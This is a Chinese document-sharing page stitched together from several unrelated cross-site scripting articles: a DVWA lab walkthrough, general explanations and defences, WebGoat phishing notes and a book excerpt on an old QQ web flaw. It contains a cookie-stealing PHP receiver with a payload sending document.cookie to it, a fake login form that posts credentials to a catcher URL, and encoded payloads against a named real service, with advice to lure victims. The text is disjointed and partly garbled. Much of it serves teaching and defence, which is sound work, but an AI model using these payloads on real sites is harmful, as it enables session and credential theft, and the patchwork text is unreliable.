跨站点脚本攻击演示
- 格式:doc
- 大小:30.50 KB
- 文档页数:2
DVWA——XSS(跨站脚本攻击)XSS概念:XSS攻击全称跨站脚本攻击,XSS是⼀种经常出现在web应⽤中的计算机安全漏洞,它允许恶意web⽤户将代码植⼊到提供给其它⽤户使⽤的页⾯中。
⽐如这些代码包括HTML代码和客户端脚本。
XSS有三种:反射型XSS:只是简单地把⽤户输⼊的数据反射给浏览器,简单来说,⿊客往往需要⽤户诱使⽤户点击⼀个恶意链接,才能攻击成功。
存储型XSS:将⽤户输⼊的数据存储在服务器端。
DOM XSS:通过修改页⾯的DOM节点形成的XSS。
(可能是存储型也可能使反射型)反射型XSS:Low级:<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}>我们可以看到,代码直接引⽤了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
所以我们构造payload语句:<script>alert(/111/)</script>,可以看到直接就执⾏了我们的js代码。
在www⽬录下创建⼀个cookie.php⽂件,内容如下:<?php$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中file_put_contents('cookie.txt',$cookie);//把偷取的⽤户cookie写到cookie.txt⽂件中>编写js代码将页⾯的cookie发送到cookie.php中:<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>#后⾯的参数要进⾏URL编码,页⾯发⽣跳转后,我们发现在WWW⽬录下多了个 cookie⽂件,打开发现成功拿到了cookie。
XSS跨站脚本攻击
为什么叫XSS?
跨站脚本(cross site script)为了避免和样式css混淆,故简称xss。
XSS是什么?
xss是⼀种经常出现在web应⽤中的计算机安全漏洞,也是最主流的攻击⽅式。
xss是指恶意攻击者利⽤⽹站没有对⽤户提交的数据进⾏转义处理或过滤不⾜的缺点,进⽽添加⼀些代码,嵌⼊到web页⾯中去;使别的⽤户访问都会执⾏相应的嵌⼊代码,从⽽盗取⽤户资料、利⽤⽤户⾝份进⾏某些动作或者对访问者进⾏病毒侵害的⼀种攻击⽅式。
xss攻击的危害有哪些?
1.盗取各类⽤户账号;如:机器登录账号、⽤户⽹银账号、各类管理员账号...
2.控制企业数据;包括读取、篡改、添加、删除企业敏感数据能⼒
3.盗窃企业具有商业价值的重要资料
4.⾮法转账
5.强制发送电⼦邮件
6.⽹站挂马
7.控制受害者机器向其他⽹站发起攻击
为什么会出现xss攻击?
主要原因是:过于信任客户端提交的数据
xss根源就是没完全过滤客户端提交的数据
细节分析:客户端提交的数据本就是应⽤需要的,但是恶意攻击者利⽤⽹站对客户端提交的数据的信任,在数据中插⼊⼀些符号以及js代码,那这些数据将会成为应⽤代码中的⼀部分,进⽽攻击者就可以进⾏攻击。
怎么避免出现xss攻击?
不要信任任何客户端提交的数据;只要是客户端提交的数据信息都应该先做过滤处理再进⾏下⼀步操作。
xss攻击分类(稍微了解即可)
1.反射型xss攻击
2.存贮型xss攻击
3.DOMBasedXSS(基于dom的跨站点脚本攻击)
本⽂只对xss攻击做简单的介绍,具体细节可参考这位⼤神的博⽂:。
到目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。
如果您很精通XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。
如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者)可以强迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。
“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本有关,而且它甚至不一定是跨站点的。
所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今。
从现在开始,我们将使用它常见的缩写名称“XSS”。
XSS 攻击的过程涉及以下三方:•攻击者•受害者•存在漏洞的网站(攻击者可以使用它对受害者采取行动)在这三方之中,只有受害者会实际运行攻击者的代码。
网站仅仅是发起攻击的一个载体,一般不会受到影响。
可以用多种方式发起XSS 攻击。
例如,攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意URL。
当受害者在Web 浏览器中打开该URL 的时侯,网站会显示一个页面并在受害者的计算机上执行脚本。
XSS 漏洞是什么样的呢?作为一名Web 开发人员或测试人员,您肯定知道Web 应用程序的技术基础是由HTTP 和HTML 组成的。
HTTP 协议是HTML 的传输机制,可使用代码设计Web 页面布局和生成页面。
如果Web 应用程序接受用户通过HTTP 请求(如GET 或POST)提交的输入信息,然后使用输出HTML 代码在某些地方显示这些信息,便可能存在XSS 漏洞。
下面是一个最简单的例子:1. Web 请求如下所示:GET/page.asp?pageid=10&lang=en&title=Section%20Title2. 在发出请求后,服务器返回的HTML 内容包括:<h1>Section Title</h1>可以看到,传递给“title”查询字符串参数的用户输入可能被保存在一个字符串变量中并且由Web 应用程序插入到<h1> 标记中。
Web 攻击汇总及攻击方式整理(1)-跨站脚本攻击(XXS攻击) 收藏跨站脚本攻击(XXS攻击)背景知识什么是XSS攻击XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。
故将跨站脚本攻击缩写为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
比如这些代码包括HTML代码和客户端脚本。
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。
这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。
对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
在2007年OW ASP所统计的所有安全威胁中,跨站脚本攻击占到了22%,高居所有Web威胁之首。
注:OW ASP是世界上最知名的Web安全与数据库安全研究组织XSS攻击的危害包括1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力3、盗窃企业重要的具有商业价值的资料4、非法转账5、强制发送电子邮件6、网站挂马7、控制受害者机器向其它网站发起攻击XSS漏洞的分类XSS漏洞按照攻击利用手法的不同,有以下三种类型:类型A,本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下所示:Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
Web安全中的跨站脚本和CSRF攻击跨站脚本(Cross-Site Scripting, XSS)和跨站请求伪造(Cross-Site Request Forgery, CSRF)是Web安全中常见的两种攻击方式。
这两种攻击方式可以导致用户的敏感信息泄漏、账号劫持、篡改用户数据等严重后果。
本文将分别介绍XSS和CSRF攻击的原理、类型、预防措施以及安全建议。
一、跨站脚本(XSS)攻击:1.原理:XSS攻击是通过向Web页面注入恶意脚本代码,使得用户在浏览器上执行恶意脚本而受到攻击。
这些恶意脚本可以篡改页面内容、窃取用户敏感信息、劫持用户会话等。
2.类型:a.存储型XSS:攻击者将恶意脚本存储到服务端,当用户请求页面时,恶意脚本被返回并执行。
b.反射型XSS:攻击者构造包含恶意脚本的URL,并将其发送给用户。
用户点击URL后,恶意脚本被浏览器执行。
3.预防措施:a.输入验证和过滤:对用户输入的数据进行验证和过滤,防止恶意脚本注入。
b.输出转义:在将用户输入的数据输出到HTML页面时,对特殊字符进行转义,避免恶意脚本执行。
c. HttpOnly Cookie:将敏感信息存储在HttpOnly Cookie中,防止XSS攻击窃取Cookie。
d. CSP(Content Security Policy):通过设置CSP,限制页面可以加载的资源和代码来源,减少XSS攻击的风险。
4.安全建议:a.用户不点击可疑链接和下载的文件,尽量避免访问不受信任的网站。
b.及时更新浏览器和插件,以获得最新的安全修复。
c.使用Web Application Firewall(WAF)等工具来检测和防护XSS攻击。
二、跨站请求伪造(CSRF)攻击:1.原理:CSRF攻击是攻击者利用用户已经登录的身份,在用户不知情的情况下,伪造请求发送给Web应用服务器,从而执行恶意操作。
这种攻击方式通常利用了Web应用对用户发出的请求未进行有效的验证。
XSS跨站脚本攻击技术原理及防护措施2010年07月12日星期一 1:08 P.M.发表:红科网安作者:Amxking发布时间:2010-06-23摘要:本文作者Amxking通过对xss跨站脚本攻击漏洞的历史、攻击特点、攻击原理描述及案例代码实战举例详细解析XSS漏洞攻击技术,并提出防御XSS跨站漏洞的思路方法。
及WEB开发者开发网站过程中防范编码中产生xss跨站脚本攻击漏洞需要注意的事项。
XSS漏洞概述:XSS(Cross Site Script)跨站点脚本攻击是一种注射的问题,在这种恶意脚本注入否则良性和信任的网站类型。
跨站点脚本(XSS)攻击,攻击者使用时,会出现一个网络应用程序发送恶意代码,一般是在浏览器端脚本的形式,向不同的最终用户。
这些缺陷,使攻击成功是相当普遍,发生在任何地方从一个Web应用程序使用在输出它没有验证或编码了用户输入。
攻击者可以使用XSS的恶意脚本发送到一个毫无戒心的用户。
最终用户的浏览有没有办法知道该脚本不应该信任,将执行该脚本。
因为它认为该脚本来从一个受信任的源,恶意脚本可以访问任何Cookie,会话令牌,或其他敏感信息的浏览器保留,并与该网站使用。
甚至可以重写这些脚本的HTML网页的内容。
XSS漏洞历史:XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊(卓越)。
XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。
同时,这些元素又无限的扩充了今天的网络安全领域。
XSS 漏洞攻击特点:(1)XSS跨站漏洞种类多样人:XSS攻击语句可插入到、URL地址参数后面、输入框内、img标签及DIV标签等HTML函数的属人里、Flash的getURL()动作等地方都会触发XSS漏洞。
实例:详解跨站脚本攻击的攻与防如果服务器对客户的输入不进行有效验证,黑客就会输入一些恶意的HTML代码,当这些HTML代码输入是用于脚本程序时,黑客就能利用它来进行破坏……【IT专家网独家】很多时候当人们谈到黑客,总会想到无所不能,潜入目标电脑,无所顾及的窃取和破坏数据。
如今暴力破坏或炫耀技术已经不再是黑客最乐于尝试的活动,黑客,不应该准确的是网络犯罪分子更乐意去借助黑客技术,获取经济上的利益。
例如,攻击访问网站的客户,记录用户信息,我们的服务器也成了他的帮凶。
如今有一种攻击大多数都发生在网站动态产生网页的时侯,但黑客的目标并不是你的网站,而是浏览网站的客户,微软称这种攻击为“跨站脚本攻击”。
认识跨站脚本攻击CERT曾警告:如果服务器对客户的输入不进行有效验证,黑客就会输入一些恶意的HTML代码,当这些HTML代码输入是用于脚本程序时,黑客就能利用它来进行破坏,如插入一些图片或声音等,同时可以干扰客户正确浏览网页。
去年十分流行的流氓软件,以及广告弹出窗口,使得无数用户对恶意软件开始有了基本认识。
恶意的标签和脚本不是单纯的恶作剧,他们甚至可以窃取资料和破坏系统。
攻击者可以利用脚本干扰或改变服务器数据的输入,同时也可以攻击客户系统。
而且你要知道,在你一边使用服务器的时候,黑客的脚本程序也正在你服务器里安全的地方运行着。
如果客户对你的服务器非常信认,同样他们也会信任那些恶意的SCRIPT代码。
甚至这个代码是来自黑客的服务器的<CRIPT>或者<OBJECT>的形式。
即使使用了防火墙也不能完全防止跨站脚本攻击,这是由于如果生成恶意SCRIPT代码的设备也使用了SSL,我们服务器的SSL是不能辨别出这些代码来的。
如何防御呢?让我们来通过案例来分析。
跨站脚本攻击示例:根据CERT的资料,动态输入大致有这几种形式:URL参数,表格元素,COOKISE以及数据请求。
让我们来分析一下只有两个页面的测试站点。
WebGoat学习笔记九—跨站脚本攻击(Cross-Site Scripting (XSS))瞿靖东2015/11/10版本号:WebGoat 5.41、使用XSS钓鱼(Phishing with XSS)技术概念或主题(Concept / T opic T o T each)在服务端对所有输入进行验证总是不错的做法。
当用户输入非法HTTP响应时容易造成XSS。
在XSS的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。
对于受害者来说很难发现该内容是否存在威胁。
技术原理(How It works )HTML文档内容很容易篡改的,如果你有权限操作页面源代码。
总体目标(General Goals )创建一个form,要求填写用户名和密码。
将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catched PasswordNam操作方法(Solutions)利用XSS可以在已存在的页面中进一步添加元素。
该解决方案包括两部分,你需要结合起来使用:受害人填写一个表格;以读取脚本的形式,将收集到的信息发送给攻击者。
一个带用户名和密码输入框的表格如下:<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name="pass"><br></form><br><br><HR>搜索这段代码,你就能看到页面中增加了一个表单。
要进行跨站脚本攻击就必须先熟悉网页语言,所以笔者建议在进行跨站前先把简单的网页语言弄懂。
在本小节中我们就以腾讯一个已经过期的脚本执行漏洞为例进行演示,这样不但让读者了解跨站攻击技术,也避免黑客利用公布出来的脚本执行漏洞进行违法行为。
(1)发现漏洞
首先我们来看黑客是如何发现这个脚本执行漏洞的。
黑客在使用QQ的过程当中,进行QQ设置,发
现QQ设置面板“个人资料”中有一个选项“生成在线状态”,如图7.54所示。
图7.54 单击“成生在线状态”按钮
单击此按钮跳转到其在线生成状态的网页中,随便输入号码、留言,单击“生成网页代码”按钮,最后单击预览效果按钮,如图7.55所示。
图7.55 生成网页代码
单击“QQ留言”图标我们会发现其调用的就是我们输入的代码而做出来的即时交流对话图标,如图7.5 6所示,我们把IE中此网页的网址复制下来。
图7.56 把带有脚本执行漏洞的网址复制下来
将代码复制到文本文件中,然后对此代码进行修改,加入JavaScript脚本,修改为自己的代码来试一下此页面有无脚本执行漏洞,例如我们在加入<script>alert('hack by 我是谁')</script>这句到代码中,这句代码的意思是弹出“hack by 我是谁”的消息,如图7.57所示。
图7.57 修改代码
代码为:
/cgi-bin/webpresence/wpa_demo?MyCode=%3Ca+target%3Dblank+href%3Dtenc ent%3A%2F%2Fmessage%2F%3Fuin%3D1%26Site%3D1%26Menu%3Dyes%3E%3Cimg+border%3 D%220%22+SRC%3D><script>alert('hack by 我是谁')</script><+alt%3D%221%22%3E%3C%2F a%3E>
新打开一个IE窗口,将这段代码复制到地址栏并按回车键,这时我们可以发现网页运行后会在下方页面中弹出一个消息框,消息框的内容就是我们设定的“hack by 我是谁”,证明脚本执行漏洞存在,可以进行攻击,如图7.58所示。
图7.58 脚本执行漏洞利用
试完了后我们还可以继续修改代码,让打开此代码链接的人弹出一个网页,网址为http://www.itcso. com。
只需将<script></script>中间的代码替换为window.open('')即可,如图7.59所示。
代码为:
/cgi-bin/webpresence/wpa_demo?MyCode=%3Ca+target%3Dblank+href%3Dtenc ent%3A%2F%2Fmessage%2F%3Fuin%3D1%26Site%3D1%26Menu%3Dyes%3E%3Cimg+border%3 D%220%22+SRC%3D><script>window.open('')</script><+alt%3D%221%22% 3E%3C%2Fa%3E>
图7.59 修改代码为框架弹窗脚本
还可以利用<iframe src=></iframe>来弹出网页,代码为:
/cgi-bin/webpresence/wpa_demo?MyCode=%3Ca+target%3Dblank+href%3Dtenc ent%3A%2F%2Fmessage%2F%3Fuin%3D1%26Site%3D1%26Menu%3Dyes%3E%3Cimg+border%3 D%220%22+SRC%3D><iframe src=></iframe><+alt%3D%221%22%3E%3 C%2Fa%3E>
如图7.60所示。
图7.60 修改代码
小知识:能使用XSS的脚本标签有< SCRIPT>、< OBJECT>、< APPLET>、< EMBED>和< FOR M>。
用于XSS的常见语言有JavaScript、VBScript、HTML、Perl、C++、ActiveX和Flash。
各种脚本就不在此进行解说了,利用制作好脚本后随便进入一个论坛、贴吧等地方,然后利用社会工程学让对方运行即可。
入门级读者可以参考光盘中的视频动画进行学习,这样就能更快的了解跨站攻击及各种脚本执行代码的应用。
XSS是一种破坏安全的方法,它利用了动态生成的网页。
在XSS攻击中,Web应用程序与脚本一起发送,当它被没有戒心的用户的浏览器阅读,或者被本身对交叉网站脚本不设防的应用程序阅读时该脚本被激活。
由于动态网站依赖于用户的输入,恶意用户可以通过将恶意脚本藏在合法的请求中,将恶意脚本输入进网页。
常见的使用方法包括搜索引擎对话框、在线论坛以及公众可以访问的博客网站。
一旦发起XSS,攻击者可以改写用户设置、盗用账号、留下恶意代码的Cookie、暴露SSL连接、访问受限制的网站、甚至发假广告。
避免XSS最简单的方法是给Web应用程序增加能使动态输入忽略某些命令标签的代码。